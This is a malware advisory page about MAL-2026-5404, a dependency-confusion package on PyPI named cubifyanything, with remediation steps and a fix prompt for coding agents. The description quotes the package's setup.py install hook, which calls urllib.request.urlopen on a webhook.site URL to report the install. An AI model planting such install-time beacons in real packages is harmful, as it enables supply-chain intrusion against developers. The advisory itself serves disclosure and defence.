# MAL-2026-5404: Malicious code in cubifyanything (PyPI)


- **Type:** Malicious package
- **Package:** `cubifyanything` (PyPI)
- **Published:** 9 Jun 2026

## What is MAL-2026-5404?

MAL-2026-5404 is a malicious package in cubifyanything, published on 9 Jun 2026. 

### Official description

cubifyanything 1.0.1 is a dependency-confusion squat shipping no real functionality (top-level cubifyanything/__init__.py is 0 bytes) and a setup.py that installs a custom install command class which performs an HTTP GET to a webhook.site URL at install time, reporting that the package was installed on the target host. setup.py lines 7-10 contain `webhook_url = "https://webhook.site/SƏNİN_WEBHOOK_LİNKİN"` followed by `urllib.request.urlopen(f"{webhook_url}?status=cubifyanything_installed", timeout=5)`, fired automatically from a cmdclass override during `pip install`. The package self-describes as 'Dependency Confusion PoC' with author 'Security Researcher'. Although the placeholder token in the URL (Azerbaijani for 'YOUR_WEBHOOK_LINK') means the specific URL likely fails DNS resolution in this copy, the package's design — claim a name expected to resolve to an internal/private package, ship empty code, and beacon to an attacker-controlled webhook host on install — is the canonical dependency-confusion attack shape and produces install-time outbound traffic from the installer's machine to a third-party endpoint.

Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose.

---

Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.

Campaign: GENERIC-standard-pypi-install-pentest

Reasons (based on the campaign):

 - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk.

 - The package overrides the install command in setup.py to execute malicious code during installation.

## What should I do about MAL-2026-5404?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5404 is a malicious package: cubifyanything (PyPI). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5404/ (Markdown: https://insights.sbomify.com/MAL-2026-5404/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5404

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-5404/
Summaries are generated and may contain mistakes; the official description above is the record.